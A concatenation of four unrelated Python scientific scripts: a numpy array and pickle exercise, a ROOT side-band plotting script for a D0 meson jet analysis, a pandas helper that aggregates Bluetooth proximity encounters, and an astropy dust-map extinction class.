parser.add_argument('-cols', '--cols', default='1000', type=int)
parser.add_argument('-d','--dir_name',default='ocn506/',type=str)
args = parser.parse_args()

# number of columns must be even for the reshape line.
# Only proceed if even, else print error message
if (args.cols % 2)==0:
    # make an array 5 x cols (defined by user input):
    y = np.random.rand(5,args.cols)

    # sin(y*pi):
    y = np.sin(y*np.pi)

    # nan all values less than 0.1
    y[y<0.1]=np.nan

    # calculate the mean of each col, ignoring nans
    y_mean = np.nanmean(y,axis=0)
    y_std = np.nanstd(y,axis=0)

    # reshape y
    new_cols=args.cols//2
    y = np.reshape(y,(10,new_cols))

    # Make an x variable, same size as y:
    x = np.linspace(0,1,len(y[0]))
    x = np.matlib.repmat(x,len(y),1)

    # Multiply, element-wise
    z = np.multiply(x,y)

    # plot the first row of x vs y:
    plt.close('all')
    fig=plt.figure()
    plt.plot(x[0,:],y[0,:])
    plt.plot(x[0,:],z[0,:])
    plt.show()

    # make sure the output directory exists
    out_dir = '../../output/' + args.dir_name
    mm.make_dir(out_dir)

    # define the output filename and save as a pickle file
    out_y = out_dir + 'out_y05042020.p'
    pickle.dump(y, open(out_y, 'wb')) # 'wb' is for write binary

    # reload y with a different variable name
    y_reload = pickle.load(open(out_y, 'rb')) # 'rb is for read binary

    # check that y and y_reload are the same (ignore nans)
    if np.allclose(y,y_reload,equal_nan=True)==True:
        print('success')
    else:
        print('keep trying')

else:
    print('number of columns must be even')


#!/usr/bin/env python

import subprocess
import IPython
import ROOT
import RawYieldSpectrumLoader

globalList = []

input_path = "../../workdir"

def PlotSBSpectra(pad, ptmin, ptmax, sbList, plotleg=False):
    pad.SetTicks(1, 1)
    # pad.SetLogy()
    pad.SetLeftMargin(0.22)
    pad.SetRightMargin(0.04)
    pad.SetTopMargin(0.04)
    pad.SetBottomMargin(0.19)

    sbHistL = sbList.FindObject("D0_Charged_R040_JetPtSpectrum_DPt_30_SideBand_SideBandWindowR_DPt_{0:.0f}_{1:.0f}".format(ptmin * 100, ptmax * 100))
    h = sbHistL.DrawCopy("axis")
    globalList.append(h)

    sbHistL_copy = sbHistL.DrawCopy("p0 same")
    sbHistL_copy.Scale(1. / sbHistL_copy.Integral())
    globalList.append(sbHistL_copy)
    sbHistL_copy.SetMarkerColor(ROOT.kBlue + 2)
    sbHistL_copy.SetLineColor(ROOT.kBlue + 2)
    sbHistL_copy.SetMarkerStyle(ROOT.kOpenCircle)
    sbHistL_copy.SetMarkerSize(0.9)

    sbHistR = sbList.FindObject("D0_Charged_R040_JetPtSpectrum_DPt_30_SideBand_SideBandWindowL_DPt_{0:.0f}_{1:.0f}".format(ptmin * 100, ptmax * 100))

    sbHistR_copy = sbHistR.DrawCopy("p0 same")
    sbHistR_copy.Scale(1. / sbHistR_copy.Integral())
    globalList.append(sbHistR_copy)
    sbHistR_copy.SetMarkerColor(ROOT.kRed + 2)
    sbHistR_copy.SetLineColor(ROOT.kRed + 2)
    sbHistR_copy.SetMarkerStyle(ROOT.kOpenSquare)
    sbHistR_copy.SetMarkerSize(0.9)

    h.GetYaxis().SetTitle("arb. units")
    h.GetXaxis().SetTitleFont(43)
    h.GetXaxis().SetTitleOffset(3.3)
    h.GetXaxis().SetTitleSize(19)
    h.GetXaxis().SetLabelFont(43)
    h.GetXaxis().SetLabelOffset(0.009)
    h.GetXaxis().SetLabelSize(18)
    h.GetYaxis().SetTitleFont(43)
    h.GetYaxis().SetTitleOffset(4.3)
    h.GetYaxis().SetTitleSize(19)
    h.GetYaxis().SetLabelFont(43)
    h.GetYaxis().SetLabelOffset(0.009)
    h.GetYaxis().SetLabelSize(23)

    # miny = min([DMesonJetUtils.FindMinimum(sbHist_copy), DMesonJetUtils.FindMinimum(sigHist_copy), DMesonJetUtils.FindMinimum(subHist_copy)])
    # maxy = max([DMesonJetUtils.FindMaximum(sbHist_copy), DMesonJetUtils.FindMaximum(sigHist_copy), DMesonJetUtils.FindMaximum(subHist_copy)])
    # miny /= 2
    # maxy *= 3
    diff = sbHistL_copy.GetMaximum() - sbHistL_copy.GetMinimum()
    miny = sbHistL_copy.GetMinimum() - 0.10 * diff
    maxy = sbHistL_copy.GetMaximum() + 0.3 * diff
    h.SetMaximum(maxy)
    h.SetMinimum(miny)

    if plotleg:
        leg = ROOT.TLegend(0.49, 0.70, 0.87, 0.90, "", "NB NDC")
        globalList.append(leg)
        leg.SetBorderSize(0)
        leg.SetFillStyle(0)
        leg.SetTextFont(43)
        leg.SetTextSize(19)
        leg.SetTextAlign(13)
        leg.AddEntry(sbHistL_copy, "Left SB", "p")
        leg.AddEntry(sbHistR_copy, "Right SB", "p")
        leg.Draw()

def SideBandPlot():
    loader = RawYieldSpectrumLoader.RawYieldSpectrumLoader(input_path, "Jets_EMC_pp_823_824_825_826", "LHC10_Train823_noRefl")
    loader.fDMeson = "D0"
    loader.fJetType = "Charged"
    loader.fJetRadius = "R040"
    loader.fVariableName = "JetPt"
    loader.fKinematicCuts = "DPt_30"
    loader.fRawYieldMethod = "SideBand"
    loader.LoadDataListFromDMesonJetAnalysis()
    dptbinList = loader.fDataJetList.FindObject("D0_Charged_R040_DPtBins_JetPt_5_30")
    spectrumList = loader.fDataSpectrumList
    sbList = spectrumList.FindObject("SideBandAnalysis")

    cname = "SideBandLeftVsRight"
    canvas = ROOT.TCanvas(cname, cname, 900, 900)
    globalList.append(canvas)
    canvas.Divide(3, 3)
    bins = [3, 4, 5, 6, 7, 8, 10, 12, 16, 30]
    leg = True
    for i, (minPt, maxPt) in enumerate(zip(bins[:-1], bins[1:])):
        PlotSBSpectra(canvas.cd(i + 1), minPt, maxPt, sbList, leg)
        leg = False

def main():
    ROOT.TH1.AddDirectory(False)
    ROOT.gStyle.SetOptTitle(False)
    ROOT.gStyle.SetOptStat(0)

    subprocess.call("make")
    ROOT.gSystem.Load("MassFitter.so")

    SideBandPlot()

    for obj in globalList:
        if isinstance(obj, ROOT.TCanvas):
            obj.SaveAs("{0}/{1}.pdf".format(input_path, obj.GetName()))

if __name__ == '__main__':
    main()

    IPython.embed()


import pandas as pd
import numpy as np

class Helper:

    @staticmethod
    def filter_raw_data(data, time_begin, time_end):
        # apply filters
        # filter out empty scans
        data = data[data.bt_mac.astype('str') != '-1']
        # filter out non study participants
        data = data[data.bt_mac > 0]
        # filter connection with rssi < 80 (signal strength)
        data = data[data.rssi.astype('int') < -80]
        # filter only important columns
        data = data[['bt_mac','rssi','timestamp','user']]
        # apply name conventions
        data.rename(columns={'user':'id_A','bt_mac':'id_B','timestamp':'time'},inplace=True)
        data = data[(data.id_A < 1000) & (data.id_B < 1000)] #clean strange users

        #take only data in certain time range
        data.time = pd.to_datetime(data.time,unit='ms')
        data = data[(data.time > time_begin) & (data.time < time_end)]

        # take both directions id_A->id_B, id_B->id_A
        data_inv = data.rename(columns={'id_A':'id_B','id_B':'id_A'})
        data = pd.concat([data, data_inv])
        data.drop_duplicates(['id_A','id_B','time'],inplace=True)
        # dont count edges twice
        data = data[data.id_A < data.id_B]

        return data

    @staticmethod
    def agg_to_visits_per_day(proxi, time, verbose=True):

        proxi.time = proxi.time.dt.to_period('d').dt.to_timestamp()
        #proxi.time = proxi.time - pd.to_timedelta(1, unit='d')

        # count encounters per day
        proxi['encounter'] = 1
        proxi = proxi.groupby(['id_A','id_B','time']).encounter.sum().reset_index()

        #insert time steps with no recorded encounter
        proxi = proxi.groupby(['id_A','id_B'])[['time','encounter']] \
                .apply( lambda p: \
                       pd.DataFrame(p).set_index(['time']).join(time.set_index(['time']), how='outer') \
                      )
        proxi.reset_index(inplace=True)

        # fill unknown encounters with 0
        proxi.fillna(0,inplace=True)

        return proxi

    @staticmethod
    def agg_to_visits_per_week(proxi):

        sigma = pd.to_timedelta(6, unit='d').total_seconds()
        two_sigma_sqr = 2* sigma * sigma

        # weighted sum over a week
        proxi["encounter_per_week"] = 0
        proxi = proxi.groupby(['id_A','id_B'])['time','encounter', "encounter_per_week"].apply(lambda p: Helper._smooth_with_gaussian(p, two_sigma_sqr))

        proxi.reset_index(inplace=True)
        proxi.time = pd.to_datetime(proxi.time, unit='s')
        '''
        proxi.time = pd.to_datetime(proxi.time, unit='s').dt.to_period('W-MON').dt.to_timestamp()
        proxi.time = proxi.time - pd.to_timedelta(1, unit='d')
        proxi = proxi.groupby(['id_A','id_B','time']).mean()
        '''
        return proxi

    @staticmethod
    def _smooth_with_gaussian(proxi_slice, two_sigma_sqr):
        proxi = proxi_slice.copy()
        proxi.time = proxi.time.astype('int')/1000000000.0 # to seconds
        time_matrix = np.array([proxi.time.values]*len(proxi.time))
        diff = time_matrix - time_matrix.transpose()
        matrix = np.exp(-(diff * diff)/two_sigma_sqr)
        filter_past = np.tril(np.ones_like(diff))
        matrix *= filter_past
        proxi.encounter_per_week =  np.dot(matrix, proxi.encounter)
        return proxi.set_index('time')


#!/usr/bin/env python
# encoding: utf-8
"""
dustMap.py

Created by José Sánchez-Gallego on 13 May 2014.
Licensed under a 3-clause BSD license.

Revision history:
    13 May 2014 J. Sánchez-Gallego
      Initial version

"""

import glob
import os

import numpy as np
from astropy.wcs import WCS
from scipy.interpolate import griddata

from .ccm_unred import ccmUnred

try:
    import fitsio
    fitsLib = 'fitsio'
except Exception:
    try:
        from astropy.io import fits
        fitsLib = 'fits'
    except Exception:
        raise ImportError('either fitsio or astropy.io.fits are needed.')

try:
    from astropysics import coords
    astropysicsLib = True
except Exception:
    try:
        from astropy.coordinates import SkyCoord
        astropysicsLib = False
    except Exception:
        raise ImportError('either astropysics or astropy are needed.')

try:
    __defaultMaps__ = glob.glob(
        os.path.join(os.environ['DUST_DIR'], 'maps', 'SFD_dust_4096_*.fits'))
except Exception:
    __defaultMaps__ = None

class DustMap(object):
    """A class to analyse dust maps and derive values.

    This class allows to load dust maps and determine extinction values at
    specific coordinates. Any dust map with units E(B-V) can be used as long
    as valid WCS information is stored in the header of the FITS file. Both FK5
    or Galactic coordinates can be used.

    Once the class is instantialised, it can be called by providing a list of
    coordinates. The returned dictionary includes the E(B-V) value(s) for the
    input coordinate(s), as well as the iIncrease and gIncrease values at the
    position. iIncrease is defined as the reddening correction for an unitary
    flux in the SDSS i-band:

    iIncrease = 1 / iOut ** 2

    where iOut is the reddened unitary flux in the i-band at the position.

    The returned values are masked arrays with elements masked if the requested
    coordinate was outside the footprint of all of the dust maps.

    Parameters
    ----------
    maps : string, list of strings, optional
        The path or list of paths for the dust maps to be used. If not
        specified, dust maps are searched at the path $DUST_DIR/maps/.

    Example
    -------
    The class can be initialised as ::
      >> from sdss.manga import DustMap
      >> dMap = DustMap()

    And then called as ::
      >> dustValues = dMap(12.5, 30)

    This will return the dust parameters at the position RA=12.5 deg,
    Dec=30 deg. It's possible to call the DustMap instance with a list of
    coordinates. To determine the dust parameters at (12.5, 30) and
    (210, -15) ::
      >> dustValues = dMap([12.5, 210], [30, -15])

    By default, equatorial coordinates are assumed. Galactic coordinates can be
    used by adding the keyword `coordSys='galactic'`. The normal behaviour is
    not to interpolate the values of the dust map. This can be overridden by
    defining `interpolate=True`. The output dictionary is of the form ::
      >> print(dustValues)
      {'EBV': masked_array(data = [0.05857369377550144 0.08294817811791555],
              mask = [False False],
        fill_value = 1e+20),
 'gIncrease': masked_array(data = [1.5123812061910469 1.7964882075835737],
              mask = [False False],
        fill_value = 1e+20),
 'galCoords': [[122.56131852693547, -32.870627753783275],
  [326.54366100057314, 44.705445415210264]],
 'iIncrease': masked_array(data = [1.257851242757 1.383847964727236],
              mask = [False False],
        fill_value = 1e+20)}

    """

    def __init__(self, maps=__defaultMaps__, **kwargs):

        if maps is None:
            raise ValueError('no maps defined and $DUST_DIR is not defined.')

        self.maps = [maps] if not hasattr(maps, '__getitem__') else maps

        if False in map(os.path.exists, self.maps):
            raise NameError('dust map(s) does not exist.')

        if len(self.maps) == 0:
            raise ValueError('no dust maps available.')

        self.loadMaps()

    def __call__(self, xx, yy, coordSys='fk5', interpolate=False):

        if coordSys not in ['fk5', 'galactic']:
            raise ValueError('coordSys must be fk5 or galactic.')

        xx = np.atleast_1d(xx)
        yy = np.atleast_1d(yy)
        if len(xx) != len(yy):
            raise ValueError('x and y coordinates must be of the same length.')

        if coordSys == 'galactic':
            coordsGal = np.array([xx, yy]).T
        else:
            if astropysicsLib:
                ccICRS = [coords.ICRSCoordinates(xx[ii], yy[ii]) for ii in range(len(xx))]
                ccGal = [cc.convert(coords.GalacticCoordinates) for cc in ccICRS]
                coordsGal = np.array([[cc.l.degrees for cc in ccGal],
                                      [cc.b.degrees for cc in ccGal]]).T
            else:
                ccSkyCoords = SkyCoord(xx, yy, frame='icrs', unit='deg')
                ccGal = ccSkyCoords.galactic
                coordsGal = np.array([ccGal.l.deg, ccGal.b.deg]).T

        return self._getValues(coordsGal, interpolate=interpolate)

    def _getValues(self, cc, interpolate=True):

        # Central wavelengths for u, g, r, i, z
        lambdaIn = np.array([3551., 4686., 6165., 7481., 8931.])
        # Unitary flux
        fluxIn = np.array([1., 1., 1., 1., 1.])

        ebv = np.ma.zeros(cc.shape[0])
        ebv.mask = True
        iIncrease = ebv.copy()
        gIncrease = ebv.copy()

        for ii in range(len(self._hdu)):

            ww = self._wcs[ii]
            data = self._data[ii]

            pixels = ww.wcs_world2pix(cc, 0)

            for jj in range(len(pixels)):

                if not np.ma.is_masked(ebv.mask[jj]) and ebv[jj] != 0.0:
                    continue

                xx, yy = pixels[jj]
                x0 = int(xx)
                y0 = int(yy)

                # If the pixel coordinates are within the footprint of the
                # image, stores the value of E(B-V). This value can be
                # overwritten later if interpolate=True, but this ensures that
                # there is a stored value if interpolate=True but the boundary
                # conditions are invalid (the pixel is too close to the border
                # of the image).
                if (x0 >= 0.0 and y0 >= 0.0 and x0 <= data.shape[1] - 1 and
                        y0 <= data.shape[0] - 1):
                    ebv[jj] = data[y0, x0]

                if interpolate is True:
                    # Checks that the boundary conditions are ok for the
                    # interpolation.
                    if (xx < 1.0 or yy < 1.0 or xx > data.shape[1] - 1 or yy > data.shape[0] - 1):
                        continue

                    mgrid = np.mgrid[y0 - 1:y0 + 2, x0 - 1:x0 + 2]
                    grid = np.array([mgrid[0].flatten(), mgrid[1].flatten()]).T
                    slice = data[y0 - 1:y0 + 2, x0 - 1:x0 + 2].flatten()
                    ebv[jj] = griddata(grid, slice, (yy, xx))

            # del data

        # Calculates iIncrease and gIncrease from E(B-V)
        for ii in range(len(ebv)):

            if np.ma.is_masked(ebv[ii]) is True:
                continue

            # Calculates the reddened flux (we use -ebv[ii]).
            fluxOut = ccmUnred(lambdaIn, fluxIn, -ebv[ii])
            iIncrease[ii] = 1. / fluxOut[3]**2
            gIncrease[ii] = 1. / fluxOut[1]**2

        return {
            'galCoords': cc.tolist(),
            'EBV': ebv,
            'iIncrease': iIncrease,
            'gIncrease': gIncrease
        }

    def loadMaps(self):

        self._hdu = []
        self._header = []
        self._wcs = []
        self._data = []

        for mm in self.maps:

            if fitsLib == 'fitsio':
                hduList = fitsio.FITS(mm)
                self._hdu.append(hduList[-1])

                header = hduList[-1].read_header()
                self._header.append(header)
                self._wcs.append(WCS(header))
                self._data.append(hduList[-1].read())

            else:
                hduList = fits.open(mm)
                self._hdu.append(hduList[-1])

                header = hduList[-1].header
                self._header.append(header)
                self._wcs.append(WCS(header))
                self._data.append(hduList[-1].data)